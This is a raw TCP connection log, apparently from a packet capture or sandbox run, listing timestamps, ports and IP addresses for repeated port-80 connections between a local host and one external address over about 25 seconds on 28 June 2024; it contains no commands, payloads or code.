Jun 28, 2024 13:39:13.511645079 CEST	80	49922	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:13.511704922 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.514740944 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.515062094 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.519841909 CEST	80	49923	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:13.519913912 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.519958973 CEST	80	49922	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:13.520008087 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.520051003 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:13.528019905 CEST	80	49923	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.202377081 CEST	80	49923	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.202433109 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.320291042 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.320650101 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.327857971 CEST	80	49924	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.327934027 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.328244925 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.328438044 CEST	80	49923	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.328500032 CEST	49923	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.333179951 CEST	80	49924	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.995358944 CEST	80	49924	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:14.995476007 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.999917984 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:14.999918938 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.005363941 CEST	80	49925	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.005539894 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.005812883 CEST	80	49924	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.005840063 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.005985975 CEST	49924	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.010993004 CEST	80	49925	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.676455975 CEST	80	49925	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.676516056 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.788647890 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.789025068 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.794114113 CEST	80	49925	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.794131041 CEST	80	49926	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:15.794166088 CEST	49925	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.794213057 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.794470072 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:15.799304962 CEST	80	49926	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:16.480284929 CEST	80	49926	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:16.484014034 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.487910986 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.487921953 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.493024111 CEST	80	49927	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:16.493165016 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.493347883 CEST	80	49926	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:16.493463039 CEST	49926	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.493469954 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:16.500101089 CEST	80	49927	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.197302103 CEST	80	49927	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.197633982 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.303919077 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.303919077 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.309576035 CEST	80	49928	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.310255051 CEST	80	49927	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.311995029 CEST	49927	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.311995029 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.312370062 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:17.317111969 CEST	80	49928	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.996872902 CEST	80	49928	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:17.996942043 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.001873016 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.002254963 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.014204979 CEST	80	49929	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.014231920 CEST	80	49928	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.014287949 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.014311075 CEST	49928	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.014738083 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.020124912 CEST	80	49929	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.722389936 CEST	80	49929	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.722517967 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.835381031 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.835381031 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.840420961 CEST	80	49930	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.840697050 CEST	80	49929	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:18.841486931 CEST	49929	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.841486931 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.841743946 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:18.846515894 CEST	80	49930	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:19.529244900 CEST	80	49930	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:19.529297113 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.531940937 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.532243967 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.537460089 CEST	80	49930	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:19.537472010 CEST	80	49931	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:19.537506104 CEST	49930	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.537555933 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.537875891 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:19.542597055 CEST	80	49931	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:20.209741116 CEST	80	49931	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:20.209805012 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.320449114 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.320863008 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.326373100 CEST	80	49931	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:20.326430082 CEST	49931	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.326756954 CEST	80	49932	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:20.326817989 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.332520008 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:20.337882042 CEST	80	49932	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.008574963 CEST	80	49932	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.010971069 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.013928890 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.014209986 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.019269943 CEST	80	49932	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.019377947 CEST	80	49933	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.019454002 CEST	49932	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.019537926 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.019675970 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.024533033 CEST	80	49933	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.696432114 CEST	80	49933	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.696495056 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.808101892 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.808491945 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.813280106 CEST	80	49934	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.813347101 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.813376904 CEST	80	49933	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:21.813424110 CEST	49933	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.813735962 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:21.819542885 CEST	80	49934	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:22.490256071 CEST	80	49934	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:22.495019913 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.498370886 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.498691082 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.504471064 CEST	80	49935	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:22.504693985 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.505274057 CEST	80	49934	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:22.505300999 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.505414009 CEST	49934	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:22.510071039 CEST	80	49935	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:23.235167980 CEST	80	49935	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:23.235311031 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.350572109 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.350894928 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.355565071 CEST	80	49935	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:23.355637074 CEST	80	49936	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:23.355734110 CEST	49935	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.355813980 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.356113911 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:23.360858917 CEST	80	49936	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.049716949 CEST	80	49936	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.049810886 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.054804087 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.055051088 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.059814930 CEST	80	49937	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.059875011 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.059971094 CEST	80	49936	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.060069084 CEST	49936	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.060240984 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.064953089 CEST	80	49937	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.730231047 CEST	80	49937	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.730340004 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.835591078 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.835896015 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.840869904 CEST	80	49938	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.841077089 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.841231108 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.841311932 CEST	80	49937	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:24.841588020 CEST	49937	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:24.846061945 CEST	80	49938	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:25.514935970 CEST	80	49938	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:25.514998913 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.518549919 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.518910885 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.523747921 CEST	80	49939	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:25.523803949 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.523962021 CEST	80	49938	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:25.524012089 CEST	49938	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.524070978 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:25.530308962 CEST	80	49939	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:26.204672098 CEST	80	49939	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:26.204736948 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.320914984 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.321326971 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.326277971 CEST	80	49940	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:26.326344967 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.326389074 CEST	80	49939	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:26.326436043 CEST	49939	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.326514006 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:26.331768990 CEST	80	49940	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.005794048 CEST	80	49940	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.008183956 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.011243105 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.011394024 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.015995979 CEST	80	49941	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.016454935 CEST	80	49940	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.016541958 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.016709089 CEST	49940	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.016803980 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.021563053 CEST	80	49941	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.694792986 CEST	80	49941	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.694860935 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.803899050 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.804181099 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.816286087 CEST	80	49942	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.816361904 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.816582918 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.816828966 CEST	80	49941	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:27.816889048 CEST	49941	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:27.821851015 CEST	80	49942	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:28.482615948 CEST	80	49942	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:28.485980988 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.491921902 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.491929054 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.496822119 CEST	80	49943	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:28.497931004 CEST	80	49942	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:28.499433994 CEST	49942	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.499437094 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.499495029 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:28.504380941 CEST	80	49943	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.170263052 CEST	80	49943	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.170475960 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.287936926 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.288291931 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.293135881 CEST	80	49944	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.293189049 CEST	80	49943	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.294086933 CEST	49943	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.294143915 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.299963951 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.304732084 CEST	80	49944	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.960927963 CEST	80	49944	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.960999966 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.965771914 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.966228008 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.970954895 CEST	80	49944	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.970997095 CEST	80	49945	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:29.971024990 CEST	49944	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.971077919 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.971457005 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:29.976197958 CEST	80	49945	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:30.650656939 CEST	80	49945	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:30.650733948 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.759921074 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.759921074 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.764750957 CEST	80	49946	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:30.764853954 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.764997005 CEST	80	49945	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:30.765449047 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.765742064 CEST	49945	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:30.771250963 CEST	80	49946	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:31.432208061 CEST	80	49946	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:31.432266951 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.436038017 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.436446905 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.441126108 CEST	80	49946	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:31.441176891 CEST	49946	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.441251993 CEST	80	49947	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:31.441324949 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.441551924 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:31.446259022 CEST	80	49947	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:32.123923063 CEST	80	49947	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:32.123974085 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.242392063 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.242793083 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.411102057 CEST	80	49948	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:32.411168098 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.411469936 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.411500931 CEST	80	49947	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:32.411552906 CEST	49947	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:32.416177034 CEST	80	49948	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.074330091 CEST	80	49948	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.080522060 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.082933903 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.083080053 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.087847948 CEST	80	49949	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.087949038 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.088196039 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.093080997 CEST	80	49949	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.096405029 CEST	80	49948	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.099531889 CEST	49948	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.816087008 CEST	80	49949	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.816144943 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.930787086 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.931200981 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.935942888 CEST	80	49949	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.935966969 CEST	80	49950	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:33.935993910 CEST	49949	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.936119080 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.936404943 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:33.941205978 CEST	80	49950	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:34.601286888 CEST	80	49950	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:34.602931023 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.608786106 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.609162092 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.614113092 CEST	80	49950	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:34.614129066 CEST	80	49951	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:34.614281893 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.614283085 CEST	49950	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.614614964 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:34.619472027 CEST	80	49951	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:35.289628029 CEST	80	49951	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:35.289758921 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.397320986 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.397722960 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.406024933 CEST	80	49952	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:35.406582117 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.406582117 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.406910896 CEST	80	49951	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:35.407109976 CEST	49951	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:35.419893980 CEST	80	49952	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.094064951 CEST	80	49952	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.094115973 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.098588943 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.098936081 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.103754997 CEST	80	49953	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.103806973 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.104149103 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.104157925 CEST	80	49952	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.104204893 CEST	49952	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.109117031 CEST	80	49953	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.814587116 CEST	80	49953	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.814740896 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.930927992 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.931421995 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.940783978 CEST	80	49954	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.940996885 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.941075087 CEST	80	49953	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:36.941185951 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.941277981 CEST	49953	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:36.950494051 CEST	80	49954	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:37.611373901 CEST	80	49954	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:37.611438990 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.615829945 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.616287947 CEST	49955	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.621020079 CEST	80	49954	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:37.621072054 CEST	49954	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.621165991 CEST	80	49955	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:37.621227026 CEST	49955	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.621546030 CEST	49955	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:37.626336098 CEST	80	49955	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:38.291703939 CEST	80	49955	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:38.291768074 CEST	49955	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:38.399111032 CEST	49955	80	192.168.2.5	77.91.77.82
